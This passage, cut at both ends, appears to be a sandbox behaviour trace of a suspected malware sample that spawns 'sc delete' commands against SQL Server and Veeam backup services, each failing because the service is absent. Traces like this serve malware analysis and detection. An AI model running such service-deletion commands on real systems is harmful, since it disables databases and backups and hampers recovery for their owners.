cbMultiByte=196, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="[SC] OpenService FAILED 1060:\r\n\r\nThe specified service does not exist as an installed service.\r\n\r\n,", lpUsedDefaultChar=0x0) returned 98 [0075.674] WriteFile (in: hFile=0x120, lpBuffer=0x2c8ea0*, nNumberOfBytesToWrite=0x62, lpNumberOfBytesWritten=0x1cf7b8, lpOverlapped=0x0 | out: lpBuffer=0x2c8ea0*, lpNumberOfBytesWritten=0x1cf7b8*=0x62, lpOverlapped=0x0) returned 1 [0075.674] LocalFree (hMem=0x2c8ea0) returned 0x0 [0075.674] LocalFree (hMem=0x2c8dc0) returned 0x0 [0075.674] LocalFree (hMem=0x0) returned 0x0 [0075.674] CloseServiceHandle (hSCObject=0x2c43e0) returned 1 [0075.683] exit (_Code=1060) Thread: id = 40 os_tid = 0x3a4 Process: id = "21" image_name = "sc.exe" filename = "c:\\windows\\system32\\sc.exe" page_root = "0x45468000" os_pid = "0xa64" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "3" os_parent_pid = "0x7d0" cmd_line = "sc delete \"SQLAgent$VEEAMSQL2012\"" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000eb41" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 42 os_tid = 0x5f4 [0075.748] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26f890 | out: lpSystemTimeAsFileTime=0x26f890*(dwLowDateTime=0x36c3d910, dwHighDateTime=0x1d62786)) [0075.748] GetCurrentProcessId () returned 0xa64 [0075.748] GetCurrentThreadId () returned 0x5f4 [0075.748] GetTickCount () returned 0x1149196 [0075.748] QueryPerformanceCounter (in: lpPerformanceCount=0x26f898 | out: lpPerformanceCount=0x26f898*=19562147275) returned 1 [0075.750] GetModuleHandleW (lpModuleName=0x0) returned 0xffa80000 [0075.750] __set_app_type (_Type=0x1) [0075.750] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0xffa87228) returned 0x0 [0075.750] __wgetmainargs (in: _Argc=0xffa8b604, _Argv=0xffa8b610, _Env=0xffa8b608, _DoWildCard=0, _StartInfo=0xffa8b050 | out: _Argc=0xffa8b604, _Argv=0xffa8b610, _Env=0xffa8b608) returned 0 [0075.751] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0075.755] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0075.755] GetStdHandle (nStdHandle=0xfffffff5) returned 0x120 [0075.755] wcsncmp (_String1="de", _String2="\\\\", _MaxCount=0x2) returned 8 [0075.755] _wcsicmp (_String1="delete", _String2="query") returned -13 [0075.755] _wcsicmp (_String1="delete", _String2="queryex") returned -13 [0075.755] _wcsicmp (_String1="delete", _String2="start") returned -15 [0075.755] _wcsicmp (_String1="delete", _String2="pause") returned -12 [0075.755] _wcsicmp (_String1="delete", _String2="interrogate") returned -5 [0075.755] _wcsicmp (_String1="delete", _String2="control") returned 1 [0075.755] _wcsicmp (_String1="delete", _String2="continue") returned 1 [0075.755] _wcsicmp (_String1="delete", _String2="stop") returned -15 [0075.755] _wcsicmp (_String1="delete", _String2="config") returned 1 [0075.755] _wcsicmp (_String1="delete", _String2="description") returned -7 [0075.755] _wcsicmp (_String1="delete", _String2="failure") returned -2 [0075.755] _wcsicmp (_String1="delete", _String2="privs") returned -12 [0075.755] _wcsicmp (_String1="delete", _String2="failureflag") returned -2 [0075.755] _wcsicmp (_String1="delete", _String2="triggerinfo") returned -16 [0075.755] _wcsicmp (_String1="delete", _String2="sidtype") returned -15 [0075.755] _wcsicmp (_String1="delete", _String2="preferrednode") returned -12 [0075.755] _wcsicmp (_String1="delete", _String2="qc") returned -13 [0075.755] _wcsicmp (_String1="delete", _String2="qdescription") returned -13 [0075.755] _wcsicmp (_String1="delete", _String2="qfailure") returned -13 [0075.755] _wcsicmp (_String1="delete", _String2="qprivs") returned -13 [0075.755] _wcsicmp (_String1="delete", _String2="qfailureflag") returned -13 [0075.756] _wcsicmp (_String1="delete", _String2="qtriggerinfo") returned -13 [0075.756] _wcsicmp (_String1="delete", _String2="qsidtype") returned -13 [0075.756] _wcsicmp (_String1="delete", _String2="showsid") returned -15 [0075.756] _wcsicmp (_String1="delete", _String2="qpreferrednode") returned -13 [0075.756] _wcsicmp (_String1="delete", _String2="querylock") returned -13 [0075.756] _wcsicmp (_String1="delete", _String2="lock") returned -8 [0075.756] _wcsicmp (_String1="delete", _String2="delete") returned 0 [0075.756] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x1) returned 0x4443f0 [0075.760] OpenServiceW (hSCManager=0x4443f0, lpServiceName="SQLAgent$VEEAMSQL2012", dwDesiredAccess=0x10000) returned 0x0 [0075.761] GetLastError () returned 0x424 [0075.761] _itow (in: _Dest=0x424, _Radix=2553592 | out: _Dest=0x424) returned="1060" [0075.761] FormatMessageW (in: dwFlags=0x1200, lpSource=0x0, dwMessageId=0x424, dwLanguageId=0x0, lpBuffer=0xffa8b740, nSize=0x400, Arguments=0x0 | out: lpBuffer="The specified service does not exist as an installed service.\r\n") returned 0x3f [0075.763] FormatMessageW (in: dwFlags=0x2900, lpSource=0x0, dwMessageId=0x65, dwLanguageId=0x0, lpBuffer=0x26f6b0, nSize=0x2, Arguments=0x26f6e0 | out: lpBuffer="跐D") returned 0x62 [0075.763] GetFileType (hFile=0x120) returned 0x3 [0075.777] LocalAlloc (uFlags=0x0, uBytes=0xc4) returned 0x448eb0 [0075.777] WideCharToMultiByte (in: CodePage=0x1, dwFlags=0x0, lpWideCharStr="[SC] OpenService FAILED 1060:\r\n\r\nThe specified service does not exist as an installed service.\r\n\r\n", cchWideChar=98, lpMultiByteStr=0x448eb0, cbMultiByte=196, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="[SC] OpenService FAILED 1060:\r\n\r\nThe specified service does not exist as an installed service.\r\n\r\nD", lpUsedDefaultChar=0x0) returned 98 [0075.777] WriteFile (in: hFile=0x120, lpBuffer=0x448eb0*, nNumberOfBytesToWrite=0x62, lpNumberOfBytesWritten=0x26f658, lpOverlapped=0x0 | out: lpBuffer=0x448eb0*, lpNumberOfBytesWritten=0x26f658*=0x62, lpOverlapped=0x0) returned 1 [0075.777] LocalFree (hMem=0x448eb0) returned 0x0 [0075.777] LocalFree (hMem=0x448dd0) returned 0x0 [0075.777] LocalFree (hMem=0x0) returned 0x0 [0075.778] CloseServiceHandle (hSCObject=0x4443f0) returned 1 [0075.781] exit (_Code=1060) Thread: id = 43 os_tid = 0xb84 Process: id = "22" image_name = "sc.exe" filename = "c:\\windows\\system32\\sc.exe" page_root = "0x44e6d000" os_pid = "0xb70" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "3" os_parent_pid = "0x7d0" cmd_line = "sc delete MSSQL" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000eb41" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 44 os_tid = 0xae0 [0075.990] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x20f7d0 | out: lpSystemTimeAsFileTime=0x20f7d0*(dwLowDateTime=0x36d22150, dwHighDateTime=0x1d62786)) [0075.990] GetCurrentProcessId () returned 0xb70 [0075.990] GetCurrentThreadId () returned 0xae0 [0075.990] GetTickCount () returned 0x11491f4 [0075.990] QueryPerformanceCounter (in: lpPerformanceCount=0x20f7d8 | out: lpPerformanceCount=0x20f7d8*=19586373253) returned 1 [0075.996] GetModuleHandleW (lpModuleName=0x0) returned 0xff410000 [0075.996] __set_app_type (_Type=0x1) [0075.996] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0xff417228) returned 0x0 [0075.996] __wgetmainargs (in: _Argc=0xff41b604, _Argv=0xff41b610, _Env=0xff41b608, _DoWildCard=0, _StartInfo=0xff41b050 | out: _Argc=0xff41b604, _Argv=0xff41b610, _Env=0xff41b608) returned 0 [0075.997] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0075.999] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0075.999] GetStdHandle (nStdHandle=0xfffffff5) returned 0x120 [0075.999] wcsncmp (_String1="de", _String2="\\\\", _MaxCount=0x2) returned 8 [0075.999] _wcsicmp (_String1="delete", _String2="query") returned -13 [0075.999] _wcsicmp (_String1="delete", _String2="queryex") returned -13 [0075.999] _wcsicmp (_String1="delete", _String2="start") returned -15 [0075.999] _wcsicmp (_String1="delete", _String2="pause") returned -12 [0075.999] _wcsicmp (_String1="delete", _String2="interrogate") returned -5 [0075.999] _wcsicmp (_String1="delete", _String2="control") returned 1 [0075.999] _wcsicmp (_String1="delete", _String2="continue") returned 1 [0076.000] _wcsicmp (_String1="delete", _String2="stop") returned -15 [0076.000] _wcsicmp (_String1="delete", _String2="config") returned 1 [0076.000] _wcsicmp (_String1="delete", _String2="description") returned -7 [0076.000] _wcsicmp (_String1="delete", _String2="failure") returned -2 [0076.000] _wcsicmp (_String1="delete", _String2="privs") returned -12 [0076.000] _wcsicmp (_String1="delete", _String2="failureflag") returned -2 [0076.000] _wcsicmp (_String1="delete", _String2="triggerinfo") returned -16 [0076.000] _wcsicmp (_String1="delete", _String2="sidtype") returned -15 [0076.000] _wcsicmp (_String1="delete", _String2="preferrednode") returned -12 [0076.000] _wcsicmp (_String1="delete", _String2="qc") returned -13 [0076.000] _wcsicmp (_String1="delete", _String2="qdescription") returned -13 [0076.000] _wcsicmp (_String1="delete", _String2="qfailure") returned -13 [0076.000] _wcsicmp (_String1="delete", _String2="qprivs") returned -13 [0076.000] _wcsicmp (_String1="delete", _String2="qfailureflag") returned -13 [0076.000] _wcsicmp (_String1="delete", _String2="qtriggerinfo") returned -13 [0076.000] _wcsicmp (_String1="delete", _String2="qsidtype") returned -13 [0076.000] _wcsicmp (_String1="delete", _String2="showsid") returned -15 [0076.000] _wcsicmp (_String1="delete", _String2="qpreferrednode") returned -13 [0076.000] _wcsicmp (_String1="delete", _String2="querylock") returned -13 [0076.000] _wcsicmp (_String1="delete", _String2="lock") returned -8 [0076.000] _wcsicmp (_String1="delete", _String2="delete") returned 0 [0076.000] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x1) returned 0x404370 [0076.005] OpenServiceW (hSCManager=0x404370, lpServiceName="MSSQL", dwDesiredAccess=0x10000) returned 0x0 [0076.005] GetLastError () returned 0x424 [0076.005] _itow (in: _Dest=0x424, _Radix=2160184 | out: _Dest=0x424) returned="1060" [0076.005] FormatMessageW (in: dwFlags=0x1200, lpSource=0x0, dwMessageId=0x424, dwLanguageId=0x0, lpBuffer=0xff41b740, nSize=0x400, Arguments=0x0 | out: lpBuffer="The specified service does not exist as an installed service.\r\n") returned 0x3f [0076.007] FormatMessageW (in: dwFlags=0x2900, lpSource=0x0, dwMessageId=0x65, dwLanguageId=0x0, lpBuffer=0x20f5f0, nSize=0x2, Arguments=0x20f620 | out: lpBuffer="跀@") returned 0x62 [0076.008] GetFileType (hFile=0x120) returned 0x3 [0076.008] LocalAlloc (uFlags=0x0, uBytes=0xc4) returned 0x408ea0 [0076.008] WideCharToMultiByte (in: CodePage=0x1, dwFlags=0x0, lpWideCharStr="[SC] OpenService FAILED 1060:\r\n\r\nThe specified service does not exist as an installed service.\r\n\r\n", cchWideChar=98, lpMultiByteStr=0x408ea0, cbMultiByte=196, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="[SC] OpenService FAILED 1060:\r\n\r\nThe specified service does not exist as an installed service.\r\n\r\n@", lpUsedDefaultChar=0x0) returned 98 [0076.008] WriteFile (in: hFile=0x120, lpBuffer=0x408ea0*, nNumberOfBytesToWrite=0x62, lpNumberOfBytesWritten=0x20f598, lpOverlapped=0x0 | out: lpBuffer=0x408ea0*, lpNumberOfBytesWritten=0x20f598*=0x62, lpOverlapped=0x0) returned 1 [0076.008] LocalFree (hMem=0x408ea0) returned 0x0 [0076.008] LocalFree (hMem=0x408dc0) returned 0x0 [0076.008] LocalFree (hMem=0x0) returned 0x0 [0076.008] CloseServiceHandle (hSCObject=0x404370) returned 1 [0076.011] exit (_Code=1060) Thread: id = 45 os_tid = 0xaf8 Process: id = "23" image_name = "sc.exe" filename = "c:\\windows\\system32\\sc.exe" page_root = "0x46f72000" os_pid = "0xaf0" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "3" os_parent_pid = "0x7d0" cmd_line = "sc delete SQLAgent" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000eb41" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 46 os_tid = 0xb1c [0076.070] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x28f7b0 | out: lpSystemTimeAsFileTime=0x28f7b0*(dwLowDateTime=0x36e06990, dwHighDateTime=0x1d62786)) [0076.070] GetCurrentProcessId () returned 0xaf0 [0076.070] GetCurrentThreadId () returned 0xb1c [0076.070] GetTickCount () returned 0x1149251 [0076.070] QueryPerformanceCounter (in: lpPerformanceCount=0x28f7b8 | out: lpPerformanceCount=0x28f7b8*=19594350179) returned 1 [0076.071] GetModuleHandleW (lpModuleName=0x0) returned 0xff1e0000 [0076.071] __set_app_type (_Type=0x1) [0076.071] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0xff1e7228) returned 0x0 [0076.072] __wgetmainargs (in: _Argc=0xff1eb604, _Argv=0xff1eb610, _Env=0xff1eb608, _DoWildCard=0, _StartInfo=0xff1eb050 | out: _Argc=0xff1eb604, _Argv=0xff1eb610, _Env=0xff1eb608) returned 0 [0076.072] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0076.075] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0076.075] GetStdHandle (nStdHandle=0xfffffff5) returned 0x120 [0076.075] wcsncmp (_String1="de", _String2="\\\\", _MaxCount=0x2) returned 8 [0076.075] _wcsicmp (_String1="delete", _String2="query") returned -13 [0076.075] _wcsicmp (_String1="delete", _String2="queryex") returned -13 [0076.075] _wcsicmp (_String1="delete", _String2="start") returned -15 [0076.075] _wcsicmp (_String1="delete", _String2="pause") returned -12 [0076.075] _wcsicmp (_String1="delete", _String2="interrogate") returned -5 [0076.075] _wcsicmp (_String1="delete", _String2="control") returned 1 [0076.075] _wcsicmp (_String1="delete", _String2="continue") returned 1 [0076.075] _wcsicmp (_String1="delete", _String2="stop") returned -15 [0076.075] _wcsicmp (_String1="delete", _String2="config") returned 1 [0076.075] _wcsicmp (_String1="delete", _String2="description") returned -7 [0076.075] _wcsicmp (_String1="delete", _String2="failure") returned -2 [0076.075] _wcsicmp (_String1="delete", _String2="privs") returned -12 [0076.075] _wcsicmp (_String1="delete", _String2="failureflag") returned -2 [0076.076] _wcsicmp (_String1="delete", _String2="triggerinfo") returned -16 [0076.076] _wcsicmp (_String1="delete", _String2="sidtype") returned -15 [0076.076] _wcsicmp (_String1="delete", _String2="preferrednode") returned -12 [0076.076] _wcsicmp (_String1="delete", _String2="qc") returned -13 [0076.076] _wcsicmp (_String1="delete", _String2="qdescription") returned -13 [0076.076] _wcsicmp (_String1="delete", _String2="qfailure") returned -13 [0076.076] _wcsicmp (_String1="delete", _String2="qprivs") returned -13 [0076.076] _wcsicmp (_String1="delete", _String2="qfailureflag") returned -13 [0076.076] _wcsicmp (_String1="delete", _String2="qtriggerinfo") returned -13 [0076.076] _wcsicmp (_String1="delete", _String2="qsidtype") returned -13 [0076.076] _wcsicmp (_String1="delete", _String2="showsid") returned -15 [0076.076] _wcsicmp (_String1="delete", _String2="qpreferrednode") returned -13 [0076.076] _wcsicmp (_String1="delete", _String2="querylock") returned -13 [0076.076] _wcsicmp (_String1="delete", _String2="lock") returned -8 [0076.076] _wcsicmp (_String1="delete", _String2="delete") returned 0 [0076.076] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x1) returned 0x474370 [0076.080] OpenServiceW (hSCManager=0x474370, lpServiceName="SQLAgent", dwDesiredAccess=0x10000) returned 0x0 [0076.080] GetLastError () returned 0x424 [0076.080] _itow (in: _Dest=0x424, _Radix=2684440 | out: _Dest=0x424) returned="1060" [0076.080] FormatMessageW (in: dwFlags=0x1200, lpSource=0x0, dwMessageId=0x424, dwLanguageId=0x0, lpBuffer=0xff1eb740, nSize=0x400, Arguments=0x0 | out: lpBuffer="The specified service does not exist as an installed service.\r\n") returned 0x3f [0076.082] FormatMessageW (in: dwFlags=0x2900, lpSource=0x0, dwMessageId=0x65, dwLanguageId=0x0, lpBuffer=0x28f5d0, nSize=0x2, Arguments=0x28f600 | out: lpBuffer="跀G") returned 0x62 [0076.083] GetFileType (hFile=0x120) returned 0x3 [0076.083] LocalAlloc (uFlags=0x0, uBytes=0xc4) returned 0x478ea0 [0076.083] WideCharToMultiByte (in: CodePage=0x1, dwFlags=0x0, lpWideCharStr="[SC] OpenService FAILED 1060:\r\n\r\nThe specified service does not exist as an installed service.\r\n\r\n", cchWideChar=98, lpMultiByteStr=0x478ea0, cbMultiByte=196, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="[SC] OpenService FAILED 1060:\r\n\r\nThe specified service does not exist as an installed service.\r\n\r\nG", lpUsedDefaultChar=0x0) returned 98 [0076.083] WriteFile (in: hFile=0x120, lpBuffer=0x478ea0*, nNumberOfBytesToWrite=0x62, lpNumberOfBytesWritten=0x28f578, lpOverlapped=0x0 | out: lpBuffer=0x478ea0*, lpNumberOfBytesWritten=0x28f578*=0x62, lpOverlapped=0x0) returned 1 [0076.083] LocalFree (hMem=0x478ea0) returned 0x0 [0076.083] LocalFree (hMem=0x478dc0) returned 0x0 [0076.083] LocalFree (hMem=0x0) returned 0x0 [0076.083] CloseServiceHandle (hSCObject=0x474370) returned 1 [0076.086] exit (_Code=1060) Thread: id = 47 os_tid = 0xb64 Process: id = "24" image_name = "sc.exe" filename = "c:\\windows\\system32\\sc.exe" page_root = "0x46e77000" os_pid = "0xb80" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "3" os_parent_pid = "0x7d0" cmd_line = "sc delete MSSQLServerADHelper100" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000eb41" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 48 os_tid = 0x1c4 [0076.155] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xefe50 | out: lpSystemTimeAsFileTime=0xefe50*(dwLowDateTime=0x36ec5070, dwHighDateTime=0x1d62786)) [0076.155] GetCurrentProcessId () returned 0xb80 [0076.155] GetCurrentThreadId () returned 0x1c4 [0076.155] GetTickCount () returned 0x114929f [0076.155] QueryPerformanceCounter (in: lpPerformanceCount=0xefe58 | out: lpPerformanceCount=0xefe58*=19602837483) returned 1 [0076.157] GetModuleHandleW (lpModuleName=0x0) returned 0xffc70000 [0076.157] __set_app_type (_Type=0x1) [0076.157] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0xffc77228) returned 0x0 [0076.157] __wgetmainargs (in: _Argc=0xffc7b604, _Argv=0xffc7b610, _Env=0xffc7b608, _DoWildCard=0, _StartInfo=0xffc7b050 | out: _Argc=0xffc7b604, _Argv=0xffc7b610, _Env=0xffc7b608) returned 0 [0076.158] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0076.162] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0076.162] GetStdHandle (nStdHandle=0xfffffff5) returned 0x120 [0076.162] wcsncmp (_String1="de", _String2="\\\\", _MaxCount=0x2) returned 8 [0076.162] _wcsicmp (_String1="delete", _String2="query") returned -13 [0076.162] _wcsicmp (_String1="delete", _String2="queryex") returned -13 [0076.162] _wcsicmp (_String1="delete", _String2="start") returned -15 [0076.162] _wcsicmp (_String1="delete", _String2="pause") returned -12 [0076.162] _wcsicmp (_String1="delete", _String2="interrogate") returned -5 [0076.162] _wcsicmp (_String1="delete", _String2="control") returned 1 [0076.162] _wcsicmp (_String1="delete", _String2="continue") returned 1 [0076.162] _wcsicmp (_String1="delete", _String2="stop") returned -15 [0076.162] _wcsicmp (_String1="delete", _String2="config") returned 1 [0076.163] _wcsicmp (_String1="delete", _String2="description") returned -7 [0076.163] _wcsicmp (_String1="delete", _String2="failure") returned -2 [0076.163] _wcsicmp (_String1="delete", _String2="privs") returned -12 [0076.163] _wcsicmp (_String1="delete", _String2="failureflag") returned -2 [0076.163] _wcsicmp (_String1="delete", _String2="triggerinfo") returned -16 [0076.163] _wcsicmp (_String1="delete", _String2="sidtype") returned -15 [0076.163] _wcsicmp (_String1="delete", _String2="preferrednode") returned -12 [0076.163] _wcsicmp (_String1="delete", _String2="qc") returned -13 [0076.163] _wcsicmp (_String1="delete", _String2="qdescription") returned -13 [0076.163] _wcsicmp (_String1="delete", _String2="qfailure") returned -13 [0076.163] _wcsicmp (_String1="delete", _String2="qprivs") returned -13 [0076.163] _wcsicmp (_String1="delete", _String2="qfailureflag") returned -13 [0076.163] _wcsicmp (_String1="delete", _String2="qtriggerinfo") returned -13 [0076.163] _wcsicmp (_String1="delete", _String2="qsidtype") returned -13 [0076.163] _wcsicmp (_String1="delete", _String2="showsid") returned -15 [0076.163] _wcsicmp (_String1="delete", _String2="qpreferrednode") returned -13 [0076.163] _wcsicmp (_String1="delete", _String2="querylock") returned -13 [0076.163] _wcsicmp (_String1="delete", _String2="lock") returned -8 [0076.163] _wcsicmp (_String1="delete", _String2="delete") returned 0 [0076.163] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x1) returned 0x1343f0 [0076.168] OpenServiceW (hSCManager=0x1343f0, lpServiceName="MSSQLServerADHelper100", dwDesiredAccess=0x10000) returned 0x0 [0076.168] GetLastError () returned 0x424 [0076.168] _itow (in: _Dest=0x424, _Radix=982200 | out: _Dest=0x424) returned="1060" [0076.168] FormatMessageW (in: dwFlags=0x1200, lpSource=0x0, dwMessageId=0x424, dwLanguageId=0x0, lpBuffer=0xffc7b740, nSize=0x400, Arguments=0x0 | out: lpBuffer="The specified service does not exist as an installed service.\r\n") returned 0x3f [0076.170] FormatMessageW (in: dwFlags=0x2900, lpSource=0x0, dwMessageId=0x65, dwLanguageId=0x0, lpBuffer=0xefc70, nSize=0x2, Arguments=0xefca0 | out: lpBuffer="跐\x13") returned 0x62 [0076.171] GetFileType (hFile=0x120) returned 0x3 [0076.171] LocalAlloc (uFlags=0x0, uBytes=0xc4) returned 0x138eb0 [0076.171] WideCharToMultiByte (in: CodePage=0x1, dwFlags=0x0, lpWideCharStr="[SC] OpenService FAILED 1060:\r\n\r\nThe specified service does not exist as an installed service.\r\n\r\n", cchWideChar=98, lpMultiByteStr=0x138eb0, cbMultiByte=196, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="[SC] OpenService FAILED 1060:\r\n\r\nThe specified service does not exist as an installed service.\r\n\r\n\x13", lpUsedDefaultChar=0x0) returned 98 [0076.171] WriteFile (in: hFile=0x120, lpBuffer=0x138eb0*, nNumberOfBytesToWrite=0x62, lpNumberOfBytesWritten=0xefc18, lpOverlapped=0x0 | out: lpBuffer=0x138eb0*, lpNumberOfBytesWritten=0xefc18*=0x62, lpOverlapped=0x0) returned 1 [0076.171] LocalFree (hMem=0x138eb0) returned 0x0 [0076.171] LocalFree (hMem=0x138dd0) returned 0x0 [0076.171] LocalFree (hMem=0x0) returned 0x0 [0076.171] CloseServiceHandle (hSCObject=0x1343f0) returned 1 [0076.308] exit (_Code=1060) Thread: id = 49 os_tid = 0xb44 Process: id = "25" image_name = "sc.exe" filename = "c:\\windows\\system32\\sc.exe" page_root = "0x4677c000" os_pid = "0xb40" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "3" os_parent_pid = "0x7d0" cmd_line = "sc delete MSSQLServerOLAPService" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000eb41" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 50 os_tid = 0xb24 [0076.373] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x22fbd0 | out: lpSystemTimeAsFileTime=0x22fbd0*(dwLowDateTime=0x36fa98b0, dwHighDateTime=0x1d62786)) [0076.373] GetCurrentProcessId () returned 0xb40 [0076.373] GetCurrentThreadId () returned 0xb24 [0076.373] GetTickCount () returned 0x11492fd [0076.373] QueryPerformanceCounter (in: lpPerformanceCount=0x22fbd8 | out: lpPerformanceCount=0x22fbd8*=19624714052) returned 1 [0076.375] GetModuleHandleW (lpModuleName=0x0) returned 0xff5c0000 [0076.375] __set_app_type (_Type=0x1) [0076.375] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0xff5c7228) returned 0x0 [0076.375] __wgetmainargs (in: _Argc=0xff5cb604, _Argv=0xff5cb610, _Env=0xff5cb608, _DoWildCard=0, _StartInfo=0xff5cb050 | out: _Argc=0xff5cb604, _Argv=0xff5cb610, _Env=0xff5cb608) returned 0 [0076.376] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0076.379] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0076.379] GetStdHandle (nStdHandle=0xfffffff5) returned 0x120 [0076.379] wcsncmp (_String1="de", _String2="\\\\", _MaxCount=0x2) returned 8 [0076.379] _wcsicmp (_String1="delete", _String2="query") returned -13 [0076.379] _wcsicmp (_String1="delete", _String2="queryex") returned -13 [0076.379] _wcsicmp (_String1="delete", _String2="start") returned -15 [0076.379] _wcsicmp (_String1="delete", _String2="pause") returned -12 [0076.379] _wcsicmp (_String1="delete", _String2="interrogate") returned -5 [0076.379] _wcsicmp (_String1="delete", _String2="control") returned 1 [0076.379] _wcsicmp (_String1="delete", _String2="continue") returned 1 [0076.379] _wcsicmp (_String1="delete", _String2="stop") returned -15 [0076.379] _wcsicmp (_String1="delete", _String2="config") returned 1 [0076.379] _wcsicmp (_String1="delete", _String2="description") returned -7 [0076.379] _wcsicmp (_String1="delete", _String2="failure") returned -2 [0076.380] _wcsicmp (_String1="delete", _String2="privs") returned -12 [0076.380] _wcsicmp (_String1="delete", _String2="failureflag") returned -2 [0076.380] _wcsicmp (_String1="delete", _String2="triggerinfo") returned -16 [0076.380] _wcsicmp (_String1="delete", _String2="sidtype") returned -15 [0076.380] _wcsicmp (_String1="delete", _String2="preferrednode") returned -12 [0076.380] _wcsicmp (_String1="delete", _String2="qc") returned -13 [0076.380] _wcsicmp (_String1="delete", _String2="qdescription") returned -13 [0076.380] _wcsicmp (_String1="delete", _String2="qfailure") returned -13 [0076.380] _wcsicmp (_String1="delete", _String2="qprivs") returned -13 [0076.380] _wcsicmp (_String1="delete", _String2="qfailureflag") returned -13 [0076.380] _wcsicmp 